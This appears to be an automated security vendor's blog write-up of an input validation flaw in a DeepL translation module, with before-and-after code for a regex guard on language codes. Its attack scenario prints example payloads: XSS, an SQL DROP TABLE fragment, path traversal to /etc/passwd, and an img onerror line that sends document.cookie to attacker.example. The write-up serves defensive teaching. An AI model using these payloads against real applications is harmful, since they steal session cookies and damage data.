Back to Blog
critical SEVERITY8 min read

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

A missing input validation step in `src/module/translator/deepl.js` allowed raw, user-controlled language codes to flow directly into DeepL API requests without any sanitization. This created an exploit primitive where malicious language strings—containing XSS payloads or SQL fragments—could be forwarded to an external translation service. The fix introduces a strict ISO 639-1/BCP 47 regex guard that rejects any non-conforming input before it reaches the API call.

O
By Orbis AppSec
Published September 2, 2026Reviewed September 2, 2026

Answer Summary

This is an input validation vulnerability (CWE-20) in `src/module/translator/deepl.js`, a JavaScript module that wraps the DeepL translation API. The `option.from` and `option.to` language parameters were passed directly into API request objects without checking format or content, meaning a crafted language string like `en'; DROP TABLE users;--` could be forwarded to an external service. The fix adds a `sanitizeLangCode()` function that validates every language code against a strict ISO 639-1/BCP 47 regular expression (`/^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/`) and throws on any non-conforming input. All three call sites in `splitText()` and `translate()` were updated to pass through this guard before the value reaches the network layer.

Vulnerability at a Glance

cweCWE-20
fixAdded `sanitizeLangCode()` with ISO 639-1 regex validation at all three assignment sites
riskInjection payloads forwarded to external translation API; potential for chained XSS or downstream injection
languageJavaScript
root cause`option.from` and `option.to` assigned directly to API request objects with no format check
vulnerabilityImproper Input Validation — unsanitized language code parameter

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

The File That Bridges User Input and an External API

The src/module/translator/deepl.js module does one job: take text and language preferences from the user, package them into DeepL API requests, and return translated output. It sits at an interesting security boundary—one side faces user-controlled data, the other side faces an external network service. A flaw in how language codes were handled inside splitText() and translate() meant that boundary was not being enforced, and raw, unvalidated strings were flowing straight through to the API payload.

This post walks through exactly what went wrong, why it matters even in a desktop application context, and what the fix looks like in concrete code.


The Vulnerability Explained

What the Code Was Doing

Before the fix, two functions in deepl.js accepted a user-supplied option object and copied its from and to properties directly into the outgoing API request body:

// splitText() — line 85 (before fix)
postData.params.lang.lang_user_selected = option.from;

// translate() — lines 124-125 (before fix)
postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

There is no typeof check, no length limit, no character allowlist, and no format validation. Whatever string arrives in option.from or option.to is placed verbatim into the JSON body that gets sent to DeepL's endpoint.

Why That's a Problem

Language codes are supposed to be short, alphabetic identifiers like en, de, or zh-Hans. The DeepL API expects values conforming to ISO 639-1 (two-letter codes) or BCP 47 subtags. Nothing in the original code enforced that contract.

An attacker who can control the option object—for example, by crafting a file that the desktop application opens, or by injecting content into a document being translated—could supply values like:

Payload Class
en<script>alert(1)</script> Reflected XSS if the value surfaces in a web view
en'; DROP TABLE users;-- SQL injection fragment forwarded to any logging layer
../../../../etc/passwd Path traversal if the value is ever used in a file operation
An extremely long string Potential buffer pressure or log pollution

Even if DeepL itself rejects these values at its own API layer, the application has already forwarded attacker-controlled data across a network boundary. Any intermediate processing—logging, caching, error serialization—could be affected. More importantly, this is an exploit primitive: a code pattern that, while not independently exploitable in isolation, can be chained with other weaknesses by automated attack tooling.

Attack Scenario

Consider a desktop translation application that opens .docx files. A malicious document embeds a custom language tag in its metadata. When the application reads that tag and passes it as option.from to translate(), the raw string—say, en<img src=x onerror=fetch('https://attacker.example/'+document.cookie)>—is placed inside the API request. If the application surfaces the API error response in a web view component without further escaping, the payload executes. The chain is: crafted file → option.frompostData.params.lang.source_lang_computed → API error → web view render → XSS.


The Fix

A Single Validation Function at the Gate

The patch introduces sanitizeLangCode(), a small but precise guard function added near the top of the file:

const regLangCode = /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/;

function sanitizeLangCode(code) {
  if (typeof code !== 'string' || !regLangCode.test(code)) {
    throw new Error(`Invalid language code: ${code}`);
  }
  return code.toUpperCase();
}

Let's unpack what each part does:

  • /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ — anchors the match to the full string (^ and $), allows only ASCII letters, enforces a 2–3 character primary subtag (covering ISO 639-1 and ISO 639-2), and optionally allows a 2–4 character region subtag after a hyphen. This covers en, zh, pt-BR, zh-Hans, and similar valid codes while rejecting everything else.
  • typeof code !== 'string' — guards against null, undefined, or non-string types being passed in.
  • throw new Error(...) — fails fast and loudly. The error message includes the offending value so developers can diagnose misconfigured callers quickly.
  • code.toUpperCase() — normalizes the output to uppercase, which is the convention used by the DeepL API (e.g., EN, DE, ZH-HANS).

Before and After

Before — in splitText():

postData.params.lang.lang_user_selected = option.from;

After — in splitText():

postData.params.lang.lang_user_selected = sanitizeLangCode(option.from);

Before — in translate():

postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

After — in translate():

postData.params.lang.source_lang_computed = sanitizeLangCode(option.from);
postData.params.lang.target_lang = sanitizeLangCode(option.to);

All three assignment sites are now gated. No language code string reaches the API payload without passing through the regex check first.

Why All Three Sites Matter

It might be tempting to validate only in translate() and trust that splitText() is called internally. But defense-in-depth means validating at every boundary crossing, not just the outermost one. If splitText() is ever called directly—in a test, a future refactor, or an integration—the guard is already in place.


Key Takeaways

  • option.from and option.to in deepl.js were direct injection vectors: any string, including XSS and SQL payloads, could be forwarded to the DeepL API without modification.
  • The sanitizeLangCode() function is the right abstraction: centralizing validation in one function means all three call sites benefit from a single fix, and future call sites will naturally use the same guard.
  • ISO 639-1 codes are a closed, well-defined set: they are an ideal candidate for allowlist regex validation rather than ad-hoc sanitization.
  • Desktop applications are not immune to injection: the threat model here requires a crafted file or malicious content interaction, but that is a realistic attack vector for translation tools that process untrusted documents.
  • Exploit primitives matter: even if this specific pattern isn't independently exploitable today, removing it raises the bar against automated exploit-chaining tools that combine multiple weak points.

How Orbis AppSec Detected This

  • Source: The option.from and option.to fields of the user-supplied option object passed into translate() and splitText() in src/module/translator/deepl.js.
  • Sink: Direct assignment to postData.params.lang.source_lang_computed, postData.params.lang.target_lang, and postData.params.lang.lang_user_selected at lines 85, 124, and 125—values that are serialized into the body of an outgoing HTTP request to an external API.
  • Missing control: No type check, format validation, or allowlist comparison was applied to either language code parameter before assignment.
  • CWE: CWE-20 — Improper Input Validation.
  • Fix: A sanitizeLangCode() function was introduced that validates input against /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ and throws on non-conforming values; all three assignment sites were updated to call this function.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in deepl.js is a textbook example of how a small omission—not validating a string before forwarding it to an external service—creates a meaningful security gap. Language codes are a constrained, well-understood domain: two or three letters, an optional region subtag, nothing else. Enforcing that constraint with a six-line function eliminates an entire class of injection risk at this boundary.

The broader lesson is that every value crossing a trust boundary deserves explicit validation, even when the downstream service might reject bad input on its own. Your application should never rely on a third-party API to be its first line of defense.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #31

Related Articles

critical

LDAP Filter Injection in da_unique_email_validator Fixed

The registration-time email uniqueness validator, `da_unique_email_validator`, formatted the submitted email address straight into an LDAP search filter with Python's `%` operator, so filter metacharacters in the email were interpreted as filter syntax. The fix wraps the value in `ldap.filter.escape_filter_chars()` (and imports the `ldap.filter` submodule explicitly), so a submitted address is always treated as a literal attribute value. Any deployment with `ldap login` enabled and a bind accoun

high

installPlugin(): Unvalidated npm Package Names Reach npm install

A plugin manager service exposed an `installPlugin(plugin: PluginInfo)` method that passed `plugin.packageName` and `plugin.version` straight into the platform's npm install routine with no validation, no blocklist, and no integrity verification of the fetched tarball. Because npm treats a non-semver "version" as a fetch specifier — a tarball URL, a git ref, a local path — an attacker who could influence the plugin listing could get arbitrary code installed and executed with full Electron/Node p

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

critical

eval() in Async Function Constructor Enables Runtime Escape

The eval.mjs command handler used raw `eval()` to execute JavaScript expressions, creating a critical code injection path if owner credentials are compromised. The fix replaces `eval()` with the `AsyncFunction` constructor and explicitly shadows `process`, `require`, and other runtime globals as parameters, preventing evaluated code from reaching the Node.js runtime even when authentication boundaries fail.

high

How Regular Expression Denial of Service (ReDoS) Happens in Node.js trim-newlines and How to Fix It

CVE-2021-33623 exposed a Regular Expression Denial of Service (ReDoS) vulnerability in the npm package `trim-newlines` versions 1.0.0 and earlier. The vulnerable `.end()` method used an inefficient regex pattern that could cause severe performance degradation when processing malicious input. Upgrading to version 4.0.1 patches the regex implementation and eliminates the attack surface.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.